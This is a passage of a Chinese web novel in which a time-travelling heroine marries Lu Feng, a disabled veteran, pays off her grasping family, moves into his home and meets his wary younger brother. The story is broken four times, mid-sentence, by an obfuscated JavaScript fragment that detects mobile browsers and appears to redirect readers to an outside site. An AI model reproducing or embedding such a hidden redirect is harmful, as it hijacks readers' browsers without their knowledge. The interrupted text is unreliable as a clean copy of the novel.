可是嫁给自己,好像也不是什么好去处,所以问出这句话之后,时间突然变得很慢很慢,他害怕江乐阳拒绝,害怕江乐阳抽回手,更怕听到江乐阳说自己喜欢别人。 好在都没有。 江乐阳比他更清楚自己的处境,眼下也没有更好的选择,最终郑重地朝他点了点头,就这么应下了这门婚事。 看着她点头的动作,陆锋心里高兴又不敢相信,腿脚都不听使唤了,想站起来又没站稳,笨拙地跌坐在地上,尴尬得脸都快要烧起来,担心江乐阳嫌弃他腿不好。 江乐阳倒是没往心里去,这个板凳重心低,本来就不好起,赶紧把人扶起来,还顺手把拐杖递到他手里,心想着这男人也太纯情了,反倒是陆锋还不忘记跟她解释,自己只是腿脚不太方便,没留什么病根,也可以生活自理,不会成为她的负担。 “家务我都可以干,有什么家具坏了我也能修,还有上次我说给你这扇门换个轴承,我也带来了,等会给你换上。” “你那天给我的钱也该还给你,以后等咱俩结婚了,家里的钱都给你管。” 忙不迭地想表达自己的诚意,可陆锋身上什么都没带,最后只是从外套口袋里掏出一个崭新的轴承,抛光过的光滑表面还有金属光泽,跟江乐阳这间破旧的卧室格格不入。 江乐阳也曾经幻想过自己被求婚的场景,可能会有鲜花和钻戒,随后竟然是这么一个轴承,见证了她的终身大事,好像有点好笑。 但她也没觉得遗憾。 陆锋举手投足间的郑重,让她也慢慢放下心里的防备。 江乐阳笑着拦住他想去修门的动作:“可别换了,我要是搬去你家,非得把这屋里的东西都搬空不可,墙皮我都给他扒了,干嘛还给他们留好东西。” 语气不像要出嫁的姑娘,更像是要来抢劫的女土匪,陆锋听着只觉得可爱,尤其一想到江家父母的嘴脸,把墙砖拆了都不过分,也跟着应和她:“行,我到时候给你找个车过来,咱们全都拉走。” 两人的婚事不仅需要江乐阳同意,还得要她的父母松口,哪怕以后不想来往了,婚姻登记也还需要江家的户口本。 张书记也是真把陆锋当作自己的子侄,才愿意坐下来跟江家二老谈婚事。 江连宗三句话不离自己女儿不要脸,没结婚就和不三不四的男人勾勾搭搭,丢尽了江家的脸面。何莲拐弯抹角就是要彩礼,说陈家出了多少多少,又说自己家里负担多重,养大江乐阳多不容易。 哪里是谈婚事,明明是卖女儿。 江乐阳在里屋把讨价还价的过程听得一清二楚,也都是意料之中,反正她也不对这对父母报什么期待,她不用猜都能知道何莲下一句要说什么,反而是陆锋怕她听了伤心,听见要三千块钱彩礼的时候,就急着想出去答应下来。 “放心,我有钱的,我去跟他们说。” 江乐阳赶紧拉住他:“有钱也不是这么打水漂的,你傻不傻啊?” 厂里普通职工的月薪也就四五十,何莲狮子大张口想要三千,真是疯了。 “可是……” “没有可是,就算不和你结婚,我也不会嫁给那个老酒鬼,最后他们只会竹篮打水一场空,我那个后妈精着呢,她心里有数。” 张书记也气得不轻,差点就想拍桌子直接走了,深吸了几口气才坐稳,甚至把自己书记的名头都搬出来了,毕竟江家的小儿子还在上学,毕业之后如果想进厂,还得要自己同意。 最后达成的协议是,陆锋出两千块的彩礼,今天带来的提亲礼也都留下,江家不准备嫁妆,不办婚礼,但是结婚以后,江乐阳不用回门、不用省亲,说白了就是彻底断绝关系。 只要陆锋交齐了彩礼,江家就给户口本去办结婚证。 还是在卖女儿。 这些话陆锋听着都觉得刺耳,生怕江乐阳又掉眼泪,哪知道她正在打量着房间,盘算什么能搬走。 “脸盆我得带走,脸盆架都快散架了,我就不带了,这条小板凳我也要带走……” 陆锋看她没放在心上,这才松了口气,想着赶紧回去备齐彩礼,把江乐阳接走才是正事。 “你的工作关系在纺织厂,正好我去找张叔帮忙开婚姻介绍信,回家准备好彩礼,你等我来接你。” 说起纺织厂的工作,江乐阳犹豫着开口问道:“你跟张书记挺熟的吧,能不能再帮我个忙?” “张叔是我爸以前的朋友,你需要我干什么,尽管说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627490|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原身就上了个技校,毕业之后无缝衔接进了纺织厂开始工作,在这个时代看来,的确是个令人羡慕的铁饭碗,可问题是现在的江乐阳她压根不会纺织啊! 这份工作肯定不能再做了,否则非得露馅不可,但是得想个合理的理由。 “我想着以后要是搬到你家那边住,离纺织厂太远了,来回上班不方便,就想麻烦张书记帮我办个停薪留职,但是你放心,我以后肯定会想办法找工作的,不会只靠你养活的。” 国营工厂多少人排队想进去还得托关系,陆锋没相信她的这番说辞,只是想起来江家父母说的那些话——之前那件事情对江乐阳的名声影响肯定很大,就连家里都骂得这么难听,外面的风言风语只会更刺耳。 江乐阳估计是受不了那些谣言,才会选择放弃纺织厂的铁饭碗。 陆锋更自责了。 “你放心,我一定请张叔帮你办妥,你也不用担心赚钱的事情,我赚钱养家,是天经地义的事情。” “太好了,那我就收拾好行李等你来接我!” 能离开江家,身边再也没有和原身熟悉的人,江乐阳就不用担心被人发现换了个芯子,穿越这件事太邪乎了,万一被当成鬼上身,就更说不清了。 她心里一高兴,两步走到陆锋面前,用力握住他的手,本意只是想表达感谢,可是陆锋还不习惯她的肢体接触,竟然还下意识往后退了半步,跟被烫着似的抽回手。 抽回手之后又怕江乐阳误会自己是嫌弃她,可是想再握住她的手又觉得冒犯,陆锋的双手就这么尴尬地悬在半空中。 “我......” 江乐阳被他的反应逗笑了,也没多想,随手往他的手背上拍了一下,才让他放松下来,又接着问了一句:“你不会没谈过恋爱吧?” 眼前的女孩刚刚还哭得眼泪汪汪,现在就好像把那些事情都忘干净了,眼睛笑成弯弯的弧形,一脸好奇地看着自己。 陆锋的手都麻了。 “没,没有……” “啊?真的啊?” 江乐阳没想到自己竟然猜对了,毕竟二十八岁的男人在这个年代别说谈恋爱,按理孩子都得有两三个了,她只是觉得陆锋的反应很青涩,才问了这么一句,竟然真的没谈过。 陆锋十几岁就入伍了,在部队上压根就没机会谈恋爱,后来又受了伤,尤其刚回家的时候,出行还需要坐轮椅,就更难找对象了,还没少被人在背后说瘸子,说心里完全不自卑是不可能的。 所以陆锋总觉得谈恋爱就是耽误了女方,哪怕是如今面对江乐阳,他心里也更多是亏欠,结婚只是对江乐阳的补偿,甚至想着要是江乐阳以后找到更好的对象,两人再离婚也行。 但是这些话不能放在台面上说,陆锋被她盯得不自在,转身就想往外走,两条腿不听使唤,更是显得一瘸一拐,尴尬地往外走了几步,又把自己身上带的钱掏出来,折回来全都塞给江乐阳。 “你想买什么东西就尽管买,到时候我们一起搬走。” 5. 领证 江乐阳在江家等了五天,该吃吃该睡睡,没事就出去逛逛街,了解这个时代的物价,还把曹思明的欠款收齐了,也买了些东西打算带去陆家,完全没把江家爸妈放在心上。婚事谈成卖女儿,两千块的彩礼也就把这份亲缘关系买断了,只有江映梅依旧孜孜不倦地挑衅她,嘲笑她嫁了个瘸子。 “说不定那瘸子压根就凑不出彩礼,占了姐姐你的便宜就跑了。” 瘸子这两个字太刺耳,江乐阳听着心烦,直接走到江映梅身前,用力踩了她一脚。 江映梅疼得差点跳起来,手里的瓜子都抓不住了,单脚蹦着骂她:“江乐阳你干嘛?你是疯狗吗?” “你再敢提瘸子,我就让你也变成瘸子。” “我说的不对吗?你们敢做还不让人说了?” 那天时间太仓促,有些情况陆锋也没说得太详细,江乐阳这几天也去张书记家里打听了,他的腿是在部队上出任务的时候受伤的,那就是保家卫国的英雄,还轮不到江映梅在这里说三道四。 两人虽然没约定领证的时间,但是江乐阳就没怀疑过他,就连张书记夫妇也夸了陆锋好多次,说他踏实可靠,希望两人日后能好好过日子。 “江映梅,我再警告你一遍,陆同志是退伍军人,他的腿是为国家执行任务的时候受伤的,要是没有他们,你可能都没命站在这里嗑瓜子,要是再让我听到你胡说八道,我就去告诉厂里领导,看他们处不处理你。” 江乐阳说得义正辞严,把江映梅吓得不敢再接话,但是也没道歉,只是撇了撇嘴,就想往门外走,哪知道一出门就看见陆锋站在院门外,旁边还跟着两个大男人。 三个又高又壮的男人站在一起,哪怕不打人,眼神也够吓人的,江映梅腿都软了,赶紧朝另一个方向跑走。 “大哥,嫂子还挺维护你啊。” 开口说话的是李大友,他和张贺都是跟着陆锋一起开店的兄弟,陆锋腿脚不方便、也开不了车,今天又要搬东西,还把维修店里的小货车开过来了,索性就把两个朋友都带过来帮忙。 李大友和张贺一路上还在讨论这个新嫂子是什么人,毕竟陆锋打了快三十年光棍,出来参加一次婚礼,竟然就谈成了一个对象,还急匆匆地要领证。 他们是真心希望陆锋能遇到个知冷知热的老婆,可是婚事这么匆忙,还开口就要两千块钱彩礼,又担心陆锋是被人骗了。 陆锋没跟他们解释,实际上他对江乐阳了解也不多,更不能说自己已经和江乐阳在一张床上睡过了,只说以后打算好好过日子,今天能听见她开口维护自己,心里还有几分欢喜。 刚刚江乐阳踩江映梅那一脚,他们在门口都看见了,总算是打消了一些对江乐阳的怀疑,能这么维护陆锋,应该不至于是骗子。 江乐阳也看见他们仨站在门口,朝他们招招手,让他们赶紧进来坐。 陆锋简单介绍了自己的两个朋友,就直奔主题问江家父母在不在,江乐阳看他们三个壮汉并排站着,把门口的光线都挡得严严实实,笑着转身进屋去叫江连宗。 李大友和张贺除了帮忙东西,更大的作用是来威慑江家父母的,完全杜绝了江家反悔的可能,张书记这个媒人也被请来做个见证,一手交钱、一手交户口本。 “你的东西收拾好了吗,要是收拾好了就让大友帮着搬上车,咱俩先去领证。” “行,你等我换身衣服。” 毕竟是领结婚证,也是人生的大日子,江乐阳特意换了条连衣裙,白色的长裙上绣着红色花朵,优雅又不过于隆重,这条裙子腰线原本很宽松,江乐阳不会改衣服,就自己搭了一根酒红色的丝带,在腰间系成一个蝴蝶结。 门口的三个大男人眼中都有惊艳,陆锋更是自惭形秽。他俩之前两次见面的场景都匆忙又尴尬,今天还是头一次见到江乐阳好好打扮,毕竟才是二十出头的小姑娘,不用浓妆艳抹就尽显青春灵动。 可是自己比她大了八岁,还瘸了一条腿…… 陆锋有些尴尬地握紧拐杖,眼睛都不敢看她,无力的左腿往后退了半步,江乐阳却直接跑到他身前,满不在乎地拉着他的手:“咱们是不是得先去拍照片?” 张贺看出大哥的退缩,赶紧劝两人出门:“锋哥,你俩先去□□吧,搬家的事情就交给我们。” 江乐阳回头指着自己房间里装好的大包小包,也不跟他们瞎客套。 “还得麻烦两位兄弟,这个房间里的东西,全都搬走。” 这个时候的结婚证还是手写的,工作人员贴上两人的照片,在空白的位置写好姓名和出生日期,再盖个公章就可以了,也不用在互联网上传什么信息,江乐阳拿着薄薄的红本子反复看,眼里全是好奇。 照片上的陆锋有点僵硬,都不敢离得她太近,反而是江乐阳对拍照这件事很熟悉,一直保持着刚刚好的笑容,看着自信又大方。 登记了结婚还要去把户口的信息更新了,得把江乐阳的户口迁到陆家,所有的手续才算办好。 这一天跑了好几个地方,街上的人来来往往,还有些人骑着自行车奔波,江乐阳担心陆锋走不了这么多路,她从照相馆出来就在打听公交车站在哪里,哪怕只能坐一小段路,也要拉着陆锋等公交。 肢体残疾这件事情太隐私,他俩还没那么熟,江乐阳不敢问到底恢复得怎么样,也不能直接问他还能不能走,就只说自己不想走路,让他陪自己等车。 陆锋明白她的心意,要是真的只想坐车,怎么会把车上的座位让给自己,看着眼前的姑娘抓着座椅站在自己身边,裙摆随着公交车转弯摇摇晃晃,偶尔有发丝飘到自己眼前,江乐阳一抬头又拢到耳后。 陆锋又感动又内疚,暗暗发誓一定要好好对待江乐阳。 等到两人把江家的户口本还回去的时候,江乐阳原本的房间已经被搬得空空荡荡,连床上的褥子都卷好放在车上了,简直是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627491|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “洗劫一空”,何梅好几次想出声阻止,可是看见张贺两人因为干活而隆起的肌肉时,还是咬着牙忍了这口气。 江乐阳也没想到能搬得这么干净,所有东西都整整齐齐堆在了货车上,还细心留出了三个人坐的位置,又看见何梅那张扭曲的脸,她心里高兴得不行,忍不住朝张贺竖了个大拇指:“大兄弟,行业先锋啊,以后开个搬家公司吧!” 这个时候还没有搬家公司,连个体经济都是刚刚放开,几个人都没听明白她的意思,想着总归是夸奖,也不多问什么,直接上车开回家了。 江乐阳看着离自己越来越远的家属大院,终于走出这个困住原身二十几年的家。她对这里没有半点归属感,反而是一次都没去过的陆家,好像真的是“回家”。 货车转了个弯,已经看不见往日生活的地方,江乐阳也回过头往前看。 要往前走才能看到广阔天地,也许前途未卜,但总归是奔向自由。 张贺在前面开车,李大友跟两人坐在后面的货箱里,三兄弟里他的嘴最碎,一路念念叨叨跟江乐阳说陆家的情况,说陆锋又能干又踏实,退伍回来赚钱都愿意带着兄弟,又说他这么多年也没讨个媳妇,家里清锅冷灶的,一点人气都没有。 江乐阳已经从张书记家里打听了一些陆锋的情况,听李大友再说一遍她也不嫌烦,还不时应上一两句,李大友越聊越高兴,把他哥小时候掉进猪圈的事都交代出来了。 江乐阳乐呵呵地听着,她还以为陆锋从小就是这个样子,又守规矩又稳重,原来都是部队里锻炼出来的。 车上有些颠簸,他的右手一直虚搭在江乐阳身后,就担心她坐不稳,但要是江乐阳不小心撞到他的肩膀,他就会不动声色地往旁边挪一点。 “嫂子,你是不知道,我哥可厉害了,当年在部队上特别受重视,本来都要当军官的,要不是受了伤……” “咳咳……” 陆锋清了清嗓子,不想让他继续说了,聊点家长里短还无所谓,可是从掉猪圈开始就已经很尴尬了,他看江乐阳听得高兴才没打断。 但是关于这条腿,他自己心里的疙瘩都还没解开,也不想跟江乐阳说得太多。 “少说点话吧,也不怕闪着舌头。” 李大友看出他眼里的不悦,识趣地闭上嘴,但还是朝他哥翻了个白眼,他今天就是觉得江乐阳人挺好的,不介意他哥的伤腿,还愿意在外人面前维护陆锋,这就已经够格当自己嫂子了。 他们兄弟几个一起长大,大家都已经结婚生子了,只有陆锋一直没个着落,平时也半点都不着急,一副要打一辈子光棍的样子,外人怎么劝都不为所动。 去年李大友家里添了个小闺女,满月酒的时候陆锋送了个小金锁,对孩子的喜欢溢于言表,但还是不愿意去相亲。 现在好不容易找到个媳妇,说不定明年也能抱个小侄子,李大友想想都高兴,就想跟江乐阳多说几句。 6. 搬家 陆家在郊区,开车过去都得一个多小时,半路遇到馄饨摊,想着大家都没吃午饭,一会儿到了陆家还得搬行李,家里八成也没有现成的午饭吃,江乐阳主动开口说歇一会儿,要请大家吃馄饨。 说起来结婚也是大事,但是两边都没有父母操办,两人连个婚礼都没有,只能这么简单地在路边吃一碗馄饨,陆锋当然不会反对,还主动去旁边的小店买汽水。 趁着他不在,李大友还想把刚刚的话说完:“嫂子,我哥嘴上虽然不说,但是我们都知道他挺介意自己那条腿的,都好几年了,还跟我们逞强……” 江乐阳认真听着他的话,脸上的表情看不出半点嫌弃。 她是真的不介意这件事,看陆锋平时能走能动的,也还没严重到需要坐轮椅的地步,而且就算坐轮椅也没什么大不了。后世的无障碍设施已经做得很好了,她平时也经常在社交软件上刷到残疾人也在正常工作,也就没放在心上。 可是这个年代好像还没那么开放,尤其陆锋被一条腿折断了前途,可能他自己都有心结。 江乐阳还想接着问几句,她就是想知道还有没有继续复健的余地,又被张贺打断了。 “你别说这些。” 陆锋要强,平时大家都不敢在他面前提这件事。 明明他是维修店的老板,但是修车的时候他照样能爬到汽车底盘下面,从来不愿意接受特殊照顾,有时候一起干活累了,明显看出来他站不稳,大家也不敢多劝两句。 “怕什么,嫂子是自己人,以后就有人照顾着大哥了。” 张贺当然怕,大哥花这么多彩礼取回来的媳妇,还没进门就说什么照顾,好像要给她增加多大的负担似的,万一再把江乐阳吓跑可怎么办,之前被吓跑的还少吗? 张贺瞪了他一眼,又转向江乐阳:“嫂子,我哥就这么一个缺点,他有本事、脑子聪明,我们修不好的发动机,他摸一下就知道是哪儿坏了,以后绝对不会拖累你的。” 江乐阳明白两兄弟的意思,也明白只有陆锋全心全意待他们,才能换来如此赤诚的兄弟情,有些话也不着急非得现在问。 “你们放心,我跟陆锋都领了结婚证了,户口也迁到一起了,以后就一定会跟他好好过日子,今天搬家太匆忙了,等我安顿下来,再请你们去家里吃顿好的。” 陆锋拿着汽水回来,只听见江乐阳说请吃饭,疑惑地看向几人,李大友乐呵呵地接过汽水,还念叨着:“嫂子说了,改天要请我们吃大餐。” 陆锋听见这话也没反驳,他对江乐阳的了解不多,相处中还带着谨慎,不知道她是不是随口一说,或者是对没办酒席有所不满,犹豫片刻还是没接话,只是认真擦了擦筷子递给江乐阳。 陆家里的房子是去年刚翻新的,带着小院子的大平房,他在家简单收拾过,屋里都很干净,但是也没布置出什么新婚的氛围来。 最大的卧室要给江乐阳住,他把床底下都打扫了一遍,床单被罩都是全新的,褥子也垫了两层,只是门上连喜字都没贴。 时间太匆忙了,双方都没有长辈操办,没有婚礼,没有相看,没有媒婆,什么都没有,只有薄薄的一本结婚证,陆锋小心翼翼用余光看她,生怕她不满意。 江乐阳倒是不在乎形式,屋里宽敞又整洁,朝向又好,南北通透,比她之前在江家住的那个小屋好了不知道多少倍。 他们两人本来也不是自由恋爱走进婚姻,更像是搬了个家,跟着张贺两人将所有的行李都搬了进去。 把大件都归置妥当之后,张贺两人还得把货车开回维修店,陆锋也没留他们吃饭,今天家里确实做不出什么好吃的,更何况他们几个多年的兄弟,顺手帮忙搬个家而已,也不用瞎客套。 临走之前江乐阳还给他们各自抓了一把大白兔,勉强算是喜糖,承诺下次一定请他们吃饭。 江乐阳把自己的衣服拿出来,打算挂进衣柜里,可是拉开柜门却发现里面空空荡荡,陆锋打了盆水进来给她洗手,回头却看见她疑惑的目光。 “衣柜怎么是空的?你的东西呢?” “这个房间以后给你住,这边宽敞,我住隔壁,你要是还需要什么家具就跟我说,我去置办。” 陆锋压根没打算跟她同房,甚至都不等她追问,又转身出去了。 江乐阳待在原地愣了半晌,她原本还有点担心晚上怎么办,但是听见陆锋这样的安排又觉得好像在情理之中,毕竟两人才见过三次面,就这么睡在一起多尴尬啊。 江乐阳把自己的裙子和大衣并排挂进衣柜里,心里感叹着总算有个落脚的地方,再也没有后妈和绿茶妹妹针对自己,嘴里轻声哼着小曲,回头却发现门口站了个小萝卜。 门口的小男孩穿了件浅蓝色短袖,骨架清瘦甚至有点撑不起来衣服,衣服下摆又被磨得有些发白,江乐阳这才想起来,陆锋说他还有个弟弟。 “小朋友,你是叫……陆铠是吗?” 陆铠不说话,只是一动不动盯着江乐阳。 二姑跟他说,哥哥娶了老婆,以后哥哥和嫂子才是一家人,自己就成了外人,嫂子跟自己非亲非故的,以后说不定不给自己饭吃,等嫂子有了孩子,自己就会被扫地出门。 陆铠觉得二姑说的有道理,可是眼前的江乐阳笑盈盈地看向自己,还从口袋里摸出两颗奶糖,好像也不是坏人。 “你是我的新嫂子吗?” 江乐阳察觉到他对自己的防备,强行把两颗奶糖塞进了他手里,“算是吧,以后我们就要一起生活啦。” “那你会把我赶出门吗?” 江乐阳笑容一顿,这孩子的思维怎么这么跳跃,不过转念一想,他们两兄弟相依为命这么多年,外人当着陆锋的面不敢说闲话,但是肯定有很多人在小孩子面前嚼舌根。 毕竟是人民教师,江乐阳对小朋友的心理问题也算有点研究,她很想解释自己是来加入这个家的,不是来拆散这个家的,又怕陆铠听不明白,只能蹲下身耐心解释着:“你叫我嫂子,那你也是我弟弟,我当然不会赶你出门。” “我不信,我不要你的糖。” 陆铠直接把手里的糖果扔到她脚边,还没来得及教育小孩子不要浪费粮食,就听见陆锋过来喊两人去吃饭了。 “今天太匆忙,先凑合吃面,明天我去饭店里买回来。” 桌上摆着三碗简单的挂面,飘着几颗葱花,区别只是分量不一样,江乐阳端起面前的一碗,挑起一筷子吹了吹,在兄弟俩的目光下咽下了第一口。 “怎么样?我也不太会做饭,平时吃得比较凑合……” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627492|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐阳心想你确实不太会,醋放多了、盐又放少了,挂面的口感倒是很筋道,但面条是买现成的、又不是他自己手擀的,好在江乐阳也不挑食,也没到难吃的地步,总不能挂了陆锋的面子。 而且陆锋很舍得放猪油,比江家清汤寡水的白面条还是好多了。 “还行,挺好的,真的。” 陆铠都听出她语气里的虚伪了,小声嘁了一声,江乐阳赶紧岔开话题,“你说你不会做饭,那你们平时怎么吃啊?” “我们维修店离拖拉机厂近,经常帮他们修车,我白天就在厂子食堂里吃,晚上我从食堂带回来,要是来不及小铠就在隔壁二姑家里吃,我每个月交伙食费。” “这么麻烦啊,那以后我来做饭吧,家常菜还是没问题的。” 江乐阳就这么随口一句话,仿佛在她看来就是天经地义的事情,反正自己也要在这里生活,做点家务又不是什么难事,可陆锋吃面的动作却突然停住了,甚至放下筷子,非常郑重地告诉她。 “我娶你回家,不是想让你帮我做家务的。” 陆锋出去当兵的时候,父母还在、陆铠也还小,他每个月就按时寄钱回家,后来父母意外过世,他总不能扔下部队里的任务直接复员,匆匆回来办过后事之后,就把陆铠托付给了二姑家里,钱也改成寄给二姑家。 等他伤了腿退伍回家,开起来一家维修店,自己都没法按时吃上三餐,也有点顾不上这个弟弟,所以还是交给二姑照顾。 自己家里的条件的确不太好,连媒婆都说,自己娶媳妇就得找个能干活的,能照顾自己、照顾弟弟,再赶紧生两个大胖小子,千万不能找娇滴滴的大姑娘。 可那不是陆锋想要的生活,他结婚,又不是为了找老妈子。 陆锋是在部队里接受过教育里,他知道妇女能顶半边天,不是天生就该被困在厨房里,更何况他对江乐阳还是愧疚更多,怎么还能要求她帮自己洗衣做饭。 他甚至想把江乐阳都托付给二姑家照顾,自己多给点钱就行了。 所以他宁愿在厨房里笨拙地煮面条,也没想过要让江乐阳去做饭。 江乐阳看见他皱起的眉头,不知道他心里有这么多弯弯绕绕,穿越之前江乐阳家里就没有很明确的分工,爸妈谁有空谁就做饭,大家都没空就叫外卖,她只是觉得自己暂时也没工作,闲着也是闲着。 “就做个饭而已,而且我自己也要吃啊。” “那我给你钱,你想买什么菜就自己安排,忙不过来就找二姑家帮忙。” 江乐阳心里盘算着明天去买点菜,先熟悉这附近的市场,也给这兄弟俩改善改善伙食,手里的筷子还扒拉着碗里的面条,却突然在碗底戳到了什么,翻开面条才发现,陆锋竟然给自己卧了个荷包蛋。 卖相一般,蛋白全都飘向一侧,除了完整找不出其他可以夸奖的词汇。 陆铠碗里也有一个,只有完整的蛋黄,蛋白已经不知道飘到哪里去了。 陆锋碗里也有一个,但是已经看不出荷包蛋的影子,确切地说应该是蛋花汤。 江乐阳的眼眶突然热热的,好像亲眼看到了他围着锅台的笨拙动作,最后还挑了个最完整的荷包蛋给自己,哪怕面条不算好吃,也不愿辜负了他的心意,把碗里的面条和鸡蛋全都吃了个干净。 7. 钥匙 面是陆锋煮的,碗是他洗的,江乐阳想收拾,他还拦着不让。 平时在家里短距离活动的时候他不拄拐,左腿就有点拖,跛得更明显,尤其是今天家里多了个人,江乐阳老是盯着他看,手脚都各种不自在。 他拿了个小马扎坐在院子里洗碗,江乐阳就坐在旁边看他,心里感叹着,没有婚礼,也没有宴席,就这么简简单单的一碗面,自己竟然就这么结婚了,还找了个连家务都不舍得自己做的男人。 陆锋不知道她在想什么,只是想起身再加点凉水,又怕走路姿势太奇怪惹她嫌弃,便伸手去抓自己的拐杖,江乐阳眼疾手快,从旁边的水桶里舀了一大瓢,边试水温边往盆里倒。 “这种小事你叫我就行了,你试试,水温是不是差不多了?” 陆锋没说话,只是低着头继续洗碗,他一直都在回避自己残疾的问题,凡事身体力行,不想成为别人的负担。 洗碗的同时,厨房里还烧着一锅开水,想着江乐阳折腾了一天,能让她洗个热水澡再睡,趁着烧水的功夫,陆锋又进了一趟主屋,把家里的钥匙给了江乐阳一份,其中有两把小小的钥匙,一看不就是开房间门的。 其中一把是开床头柜抽屉的,陆锋插上钥匙,拉出抽屉,里面是面值不等的钞票,还有一些粮票布票。 “这里是些零钱,你要买什么东西就直接拿,你花钱不用省着,我能赚,如果是供销社买不到的东西你就告诉我,我来想办法。” 这句话颇有点霸道总裁的味道,可是偏偏他言语真诚,半点都不油腻,哪怕江乐阳自诩二十一世纪的新时代独立女性,都有点扛不住了。 “另外这把钥匙是开这个的,”陆锋又从衣柜顶层掏出一个带锁的小铁盒,“里面是家里的户口本、证件、存折……” 最底下是几枚金属勋章,是陆锋在部队里拿命换来的。 最上面是今天新拿的结婚证。 两个小红本也被放进盒子里,又郑重地上了锁。 江乐阳觉得自己对陆锋的家产缺乏正确估计,难怪何莲开口要三千,他都不带一点犹豫的,抽屉里十块、二十的面值都放着,陆锋却说这是“零钱”。 至于存折,江乐阳随手翻开看了一眼,都没敢去数余额到底有几位数。 只是看见最近的一笔流水,是取出两千块钱。 是何莲狮子大开口要的那笔彩礼。 江乐阳的目光回到面前的男人身上,陆锋面部轮廓流畅,眉眼之间很有英气,身材也结实,踏实稳重还有钱,家里又没有婆媳关系要处理,这样的男人要是放在现代,不得抢疯了,谁还会嫌弃他是个体户? 至于那条腿,无非就是走路姿势有点奇怪,又不影响日常生活,实在不算什么大问题,江乐阳叹了口气,感叹着时代的变化太快,这样的香饽饽竟然都没人要。 “这也太多了,你还是自己保管吧,不对,还是你睡主屋吧,守着这么个大金矿我怕我半夜都睡不着。” 在陆锋看来,江乐阳嫁给他就是受了委屈,他只担心这些东西都还不够多,巴不得什么都捧出来弥补她。 “这个屋朝阳,住着暖和,你就安心住下吧,而且我就在隔壁,你要是害怕随时叫我。” 这才刚进门头一天,陆锋就已经把自己的家底都摊开给自己看了,只见过几次就能为自己考虑得这么周到,有血缘关系的父亲却只想着把自己卖掉换彩礼,他把铁盒放回衣柜,仔细用被褥掩盖住,江乐阳看着他宽大的背影,心里有些东西好像不一样了。 她其实自己也不知道该怎么面对这段婚姻,莫名其妙穿越到这里,没有亲人没有朋友,莫名其妙就领了结婚证,原本心里还有点别扭,现在却想明白了,问心无愧就好。 陆锋对自己好,自己也不能当白眼狼。 “我明天想去街上逛逛,有合适的衣服就给陆铠买两件,我看他身上的衣服有点不合身了。” “好,你自己安排就行,我有时候工作忙,确实有点顾不上,还得麻烦你了。” 两人说话还带着生疏和客套,江乐阳也没放在心上,继续问他:“他平时就在那个二姑家里吃饭吗?” “对,二姑也帮着给他洗个衣服啥的,晚上我不在家也是二姑帮忙带着,我每个月初都给钱。” 江乐阳弄明白了大致情况,就没再往下问了,今天陆铠问的那几句话,明显是被大人教唆出来的,但是自己初来乍到,这又是陆家的亲戚,总不能刚来就挑拨关系,还是应该再观察几天弄清楚情况。 第二天,陆锋早上要去上班,陆铠要去上学,两个人都早早就出门了,默契地没有吵醒江乐阳。 陆锋是想让她多睡会儿,陆铠是不想见到这个新嫂子,哥哥赚钱很辛苦,他有记忆起就在二姑家里吃饭,二姑对他其实算不上好,他亲眼看见过二姑家里藏起来的排骨和鸡肉,但他没跟陆锋说过这些,陆锋问起来,他只会说自己吃得很饱。 从小二姑就跟他说,他是个拖油瓶,不管是对于哥哥还是二姑,要不是有这层亲戚关系,他早都在外面饿死了,所以他可以少吃一点,也可以勤快一点,只是希望二姑不要赶他走。 尤其陆锋计划结婚之后,二姑更是每天都在跟他强调,以后新嫂子进门,更没有自己的好日子过了,新嫂子会把哥哥的钱都败光,说不定还会把自己赶出家门。 陆铠实在是打心底里排斥这个新嫂子,明明他和哥哥两个人也可以过得很好,为什么非要有一个陌生人进门,而且这个陌生人一来就住进了主屋,更让他断定,自己以后真的可能会被扫地出门。 所以哪怕是看见江乐阳给他做了午饭,心里还是十分抵触。 “中午就咱俩吃,所以我就炒了两个菜,一会儿我上街去转转,你想吃什么零食我给你买回来。” 桌上摆着胡萝卜丝炒肉片和西红柿炒鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627493|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 